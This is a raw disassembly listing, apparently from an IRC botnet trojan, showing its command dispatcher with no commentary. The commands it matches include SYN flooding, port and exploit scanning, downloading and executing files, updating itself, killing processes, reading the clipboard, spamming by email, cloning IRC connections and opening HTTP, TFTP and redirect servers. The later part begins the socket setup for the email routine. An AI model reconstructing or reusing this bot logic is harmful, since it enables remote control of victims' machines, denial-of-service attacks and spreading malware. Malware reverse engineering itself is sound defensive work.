		jz	loc_40CCA5
		push	edi
		push	offset aI_0	; "i"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CCA5
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409727
		call	sub_401136
		test	eax, eax
		mov	eax, offset unk_42F598
		jnz	short loc_4096F9
		mov	eax, offset unk_42F560


loc_4096F9:				; CODE XREF: sub_4087B3+F3Fj
		push	eax
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 1Ch
		jmp	loc_40B351
; ---------------------------------------------------------------------------


loc_409727:				; CODE XREF: sub_4087B3+F31j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CBAE
		push	edi
		push	offset aT	; "t"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CBAE
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB8B
		push	edi
		push	offset aAl	; "al"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB8B
		push	edi
		push	offset aLog	; "log"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA9B
		push	edi
		push	offset aLg	; "lg"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA9B
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA82
		push	edi
		push	offset aClg	; "clg"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA82
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA48
		push	edi
		push	offset aNi	; "ni"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA48
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA1D
		push	edi
		push	offset aSi	; "si"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA1D
		push	edi
		push	offset aRemove	; "remove"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C9E3
		push	edi
		push	offset aRm	; "rm"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C9E3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C8CF
		push	edi
		push	offset aPs	; "ps"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C8CF
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C848
		push	edi
		push	offset aUp	; "up"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C848
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C82B
		push	edi
		push	offset aDrv	; "drv"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C82B
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C812
		push	edi
		push	offset aDll	; "dll"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C812
		push	edi
		push	offset aWho	; "who"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40997C
		cmp	[ebp+var_8], ebx
		jnz	short loc_409925
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 14h


loc_409925:				; CODE XREF: sub_4087B3+1156j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40992A:				; CODE XREF: sub_4087B3+11BDj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_409936
		mov	eax, offset aEmpty ; "<Empty>"


loc_409936:				; CODE XREF: sub_4087B3+117Cj
		push	eax
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 5
		jl	short loc_40992A
		push	offset unk_42F464
		jmp	loc_40CC9A
; ---------------------------------------------------------------------------


loc_40997C:				; CODE XREF: sub_4087B3+1151j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C7D1
		push	edi
		push	offset aGc	; "gc"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C7D1
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C7A6
		push	edi
		push	offset aFarp	; "farp"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C7A6
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C782
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C782
		push	edi
		push	offset aScan_currentip ; "scan.currentip"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C748
		push	edi
		push	offset aScan_cip ; "scan.cip"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C748
		push	edi
		push	offset aHttpd_on ; "httpd.on"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C5A6
		push	edi
		push	offset aWeb_on	; "web.on"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C5A6
		push	edi
		push	offset aSrv_tftpserver ; "srv.tftpserver.on"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C468
		push	edi
		push	offset aSrv_tftp_on ; "srv.tftp.on"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C468
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C15B
		push	edi
		push	offset aScan_a	; "scan.a"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C15B
		mov	eax, [ebp+esi+var_9C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_408B77
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C136
		push	edi
		push	offset aN	; "n"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C136
		push	edi
		push	offset aJoin	; "join"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C112
		push	edi
		push	offset aJ	; "j"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C112
		push	edi
		push	offset aPart_0	; "part"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C0F8
		push	edi
		push	offset aPt	; "pt"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C0F8
		push	edi
		push	offset aRaw	; "raw"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C0C2
		push	edi
		push	offset aR	; "r"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C0C2
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BFFD
		push	edi
		push	offset aK	; "k"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BFFD
		push	edi
		push	offset aClone_quit ; "clone.quit"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BF51
		push	edi
		push	offset aClone_q	; "clone.q"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BF51
		push	edi
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BF05
		push	edi
		push	offset aClone_rn ; "clone.rn"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BF05
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BEEC
		push	edi
		push	offset aPr	; "pr"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BEEC
		push	edi
		push	offset aOpen	; "open"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BEBE
		push	edi
		push	offset aO	; "o"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BEBE
		push	edi
		push	offset aNewserver ; "newserver"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BE95
		push	edi
		push	offset aIrc_news ; "irc.news"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BE95
		push	edi
		push	offset aDns	; "dns"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BE22
		push	edi
		push	offset aDn	; "dn"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BE22
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BDF2
		push	edi
		push	offset aKp	; "kp"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BDF2
		push	edi
		push	offset aKill	; "kill"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BD93
		push	edi
		push	offset aKi	; "ki"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BD93
		push	edi
		push	offset aDelete	; "delete"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BD58
		push	edi
		push	offset aDel	; "del"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BD58
		push	edi
		push	offset aVisit	; "visit"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BC76
		push	edi
		push	offset aV	; "v"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BC76
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BC39
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BC39
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BBAE
		push	edi
		push	offset aRf	; "rf"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BBAE
		push	edi
		push	offset aSrv_ident ; "srv.ident"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409E61
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409E19
		push	2
		call	sub_4010E6
		test	eax, eax
		pop	ecx
		jle	short loc_409DBC
		push	offset unk_42F27C
		jmp	loc_409E4E
; ---------------------------------------------------------------------------


loc_409DBC:				; CODE XREF: sub_4087B3+15FDj
		lea	eax, [ebp+var_2E4]
		push	offset unk_42D1DC
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	2
		push	eax
		call	sub_40105F
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_401195
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E934[esi], eax
		jnz	loc_40B330
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D190
		jmp	loc_40CFA0
; ---------------------------------------------------------------------------


loc_409E19:				; CODE XREF: sub_4087B3+15F1j
		push	[ebp+arg_10]
		push	offset dword_42F278
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B330
		push	ebx
		push	2
		call	sub_401285
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_409E49
		push	eax
		push	offset unk_42F22C
		jmp	loc_40CFA0
; ---------------------------------------------------------------------------


loc_409E49:				; CODE XREF: sub_4087B3+1689j
		push	offset unk_42F1F8


loc_409E4E:				; CODE XREF: sub_4087B3+1604j
					; sub_4087B3+3CC6j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx
		jmp	loc_40B330
; ---------------------------------------------------------------------------


loc_409E61:				; CODE XREF: sub_4087B3+15DAj
		push	edi
		push	offset dword_42F1F4
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A11D
		cmp	dword_49172C, ebx
		jz	short loc_409E90
		cmp	dword_491754, ebx
		jz	short loc_409E90
		push	offset unk_42F1A4
		jmp	loc_40A0ED
; ---------------------------------------------------------------------------


loc_409E90:				; CODE XREF: sub_4087B3+16C9j
					; sub_4087B3+16D1j
		cmp	[ebp+var_C], ebx
		jz	loc_40A0FB
		mov	edi, [ebp+esi+var_98]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_409EB5
		push	edi
		push	[ebp+var_C]
		call	sub_417760
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_409EB5:				; CODE XREF: sub_4087B3+16F2j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409F1C
		cmp	edi, ebx
		jz	short loc_409EF0
		push	[ebp+arg_0]
		push	3


loc_409ED1:				; CODE XREF: sub_4087B3+1781j
					; sub_4087B3+179Bj ...
		call	sub_4010C3
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_416821
		add	esp, 14h
		jmp	loc_40A0FB
; ---------------------------------------------------------------------------


loc_409EF0:				; CODE XREF: sub_4087B3+1717j
		push	[ebp+var_4]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010E1
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_409F12
		push	offset unk_42F164
		jmp	loc_40A0ED
; ---------------------------------------------------------------------------


loc_409F12:				; CODE XREF: sub_4087B3+1753j
		push	offset unk_42F130
		jmp	loc_40A0ED
; ---------------------------------------------------------------------------


loc_409F1C:				; CODE XREF: sub_4087B3+1713j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409F36
		push	[ebp+arg_0]
		push	4
		jmp	short loc_409ED1
; ---------------------------------------------------------------------------


loc_409F36:				; CODE XREF: sub_4087B3+177Aj
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409F50
		push	[ebp+arg_0]
		push	5
		jmp	short loc_409ED1
; ---------------------------------------------------------------------------


loc_409F50:				; CODE XREF: sub_4087B3+1794j
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409F6D
		push	[ebp+arg_0]
		push	6
		jmp	loc_409ED1
; ---------------------------------------------------------------------------


loc_409F6D:				; CODE XREF: sub_4087B3+17AEj
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409F8A
		push	[ebp+arg_0]
		push	1
		jmp	loc_409ED1
; ---------------------------------------------------------------------------


loc_409F8A:				; CODE XREF: sub_4087B3+17CBj
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A004
		cmp	edi, ebx
		jz	short loc_409FD7
		cmp	[ebp+var_9B0], bl
		jz	short loc_409FAF
		push	ebx
		push	edi
		push	1
		jmp	short loc_409FB8
; ---------------------------------------------------------------------------


loc_409FAF:				; CODE XREF: sub_4087B3+17F4j
		push	[ebp+esi+var_94]
		push	edi
		push	ebx


loc_409FB8:				; CODE XREF: sub_4087B3+17FAj
		call	sub_40117C
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_416821
		add	esp, 18h
		jmp	loc_40A0FB
; ---------------------------------------------------------------------------


loc_409FD7:				; CODE XREF: sub_4087B3+17ECj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4011A9
		add	esp, 10h
		test	eax, eax
		jz	short loc_409FFA
		push	offset unk_42F0D8
		jmp	loc_40A0ED
; ---------------------------------------------------------------------------


loc_409FFA:				; CODE XREF: sub_4087B3+183Bj
		push	offset unk_42F0A8
		jmp	loc_40A0ED
; ---------------------------------------------------------------------------


loc_40A004:				; CODE XREF: sub_4087B3+17E8j
		push	[ebp+arg_10]
		push	offset aUser_1	; "user"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A09F
		cmp	edi, ebx
		jz	short loc_40A078
		cmp	[ebp+var_9B0], bl
		jz	short loc_40A039
		push	[ebp+var_4]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_40A059
; ---------------------------------------------------------------------------


loc_40A039:				; CODE XREF: sub_4087B3+1872j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_94]
		cmp	esi, ebx
		push	[ebp+var_98]
		push	[ebp+arg_4]
		jz	short loc_40A055
		push	esi
		push	edi
		push	ebx
		jmp	short loc_40A059
; ---------------------------------------------------------------------------


loc_40A055:				; CODE XREF: sub_4087B3+189Bj
		push	ebx
		push	edi
		push	2


loc_40A059:				; CODE XREF: sub_4087B3+1884j
					; sub_4087B3+18A0j
		call	sub_40102D
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_416821
		add	esp, 24h
		jmp	loc_40A0FB
; ---------------------------------------------------------------------------


loc_40A078:				; CODE XREF: sub_4087B3+186Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4011FE
		add	esp, 10h
		test	eax, eax
		jz	short loc_40A098
		push	offset unk_42F074
		jmp	short loc_40A0ED
; ---------------------------------------------------------------------------


loc_40A098:				; CODE XREF: sub_4087B3+18DCj
		push	offset unk_42F044
		jmp	short loc_40A0ED
; ---------------------------------------------------------------------------


loc_40A09F:				; CODE XREF: sub_4087B3+1862j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A0E8
		cmp	edi, ebx
		jz	short loc_40A0E1
		push	[ebp+var_4]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40127B
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_416821
		add	esp, 1Ch
		jmp	short loc_40A0FB
; ---------------------------------------------------------------------------


loc_40A0E1:				; CODE XREF: sub_4087B3+1901j
		push	offset unk_42F008
		jmp	short loc_40A0ED
; ---------------------------------------------------------------------------


loc_40A0E8:				; CODE XREF: sub_4087B3+18FDj
		push	offset unk_42EFD8


loc_40A0ED:				; CODE XREF: sub_4087B3+16D8j
					; sub_4087B3+175Aj ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_40A0FB:				; CODE XREF: sub_4087B3+16E0j
					; sub_4087B3+1738j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40B5AF
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		jmp	loc_40B5A7
; ---------------------------------------------------------------------------


loc_40A11D:				; CODE XREF: sub_4087B3+16BDj
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BAC0
		push	edi
		push	offset aGh	; "gh"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BAC0
		mov	eax, [ebp+esi+var_98]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_408B77
		push	edi
		push	offset aAddalias ; "addalias"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BA7D
		push	edi
		push	offset aAa	; "aa"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BA7D
		push	edi
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BA23
		push	edi
		push	offset aPm_0	; "pm"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BA23
		push	edi
		push	offset aAction	; "action"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B9B1
		push	edi
		push	offset aA_0	; "a"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B9B1
		push	edi
		push	offset aCycle	; "cycle"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B949
		push	edi
		push	offset aCy	; "cy"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B949
		push	edi
		push	offset aMode	; "mode"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B910
		push	edi
		push	offset aM_0	; "m"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B910
		push	edi
		push	offset aClone_raw ; "clone.raw"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B8A2
		push	edi
		push	offset aClone_r	; "clone.r"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B8A2
		push	edi
		push	offset aClone_mode ; "clone.mode"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B81D
		push	edi
		push	offset aClone_m	; "clone.m"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B81D
		push	edi
		push	offset aClone_nick ; "clone.nick"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B7AC
		push	edi
		push	offset aClone_n	; "clone.n"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B7AC
		push	edi
		push	offset aClone_join ; "clone.join"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B784
		push	edi
		push	offset aClone_j	; "clone.j"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B784
		push	edi
		push	offset aClone_part ; "clone.part"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B71E
		push	edi
		push	offset aClone_p	; "clone.p"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B71E
		push	edi
		push	offset aRepeat	; "repeat"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B656
		push	edi
		push	offset aRp	; "rp"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B656
		push	edi
		push	offset aDelay	; "delay"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B5B7
		push	edi
		push	offset aDe	; "de"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B5B7
		push	edi
		push	offset aUpdate	; "update"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B3FD
		push	edi
		push	offset aUpdate	; "update"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B3FD
		push	edi
		push	offset aExecute	; "execute"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B368
		push	edi
		push	offset aE	; "e"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B368
		push	edi
		push	offset aRename	; "rename"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B2E0
		push	edi
		push	offset aMv	; "mv"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B2E0
		mov	eax, [ebp+esi+var_94]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_408B77
		push	edi
		push	offset aClone_make ; "clone.make"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B1F3
		push	edi
		push	offset aC_make	; "c.make"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B1F3
		push	edi
		push	offset aSyn	; "syn"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B0F2
		push	edi
		push	offset aSyn	; "syn"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B0F2
		push	edi
		push	offset aDownload ; "download"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AFB0
		push	edi
		push	offset aDownload ; "download"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AFB0
		push	edi
		push	offset aSrv_redirect_o ; "srv.redirect.on"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AEB4
		push	edi
		push	offset aSrv_rd_on ; "srv.rd.on"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AEB4
		push	edi
		push	offset aPortscan ; "portscan"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ADBF
		push	edi
		push	offset aSc	; "sc"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ADBF
		push	edi
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ACE5
		push	edi
		push	offset aClone_pm ; "clone.pm"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ACE5
		push	edi
		push	offset aClone_action ; "clone.action"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ABCE
		push	edi
		push	offset aClone_a	; "clone.a"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ABCE
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		mov	[ebp+arg_8], eax
		jz	loc_408B77
		push	edi
		push	offset aAdvscan	; "advscan"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A87B
		push	edi
		push	offset aAsc	; "asc"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A87B
		push	edi
		push	offset aEmail	; "email"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A6E6
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4175D0
		push	[ebp+arg_18]
		call	sub_416CCF
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_D9C]
		push	eax
		call	sub_4175D0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_B94]
		push	eax
		call	sub_4175D0
		push	offset asc_42BFC4 ; " "
		push	offset a_	; "_"
		push	[ebp+esi+var_8C]
		call	sub_40113B
		push	eax
		lea	eax, [ebp+var_548]
		push	eax
		call	sub_4175D0
		add	esp, 30h
		lea	eax, [ebp+var_6F4]
		push	eax
		push	101h
		call	dword_4915D4	; WSAStartup
		lea	eax, [ebp+var_3E4]
		push	eax
		call	dword_4916E0	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4916DC	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_D8], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_D4], eax
		call	dword_49165C	; htons
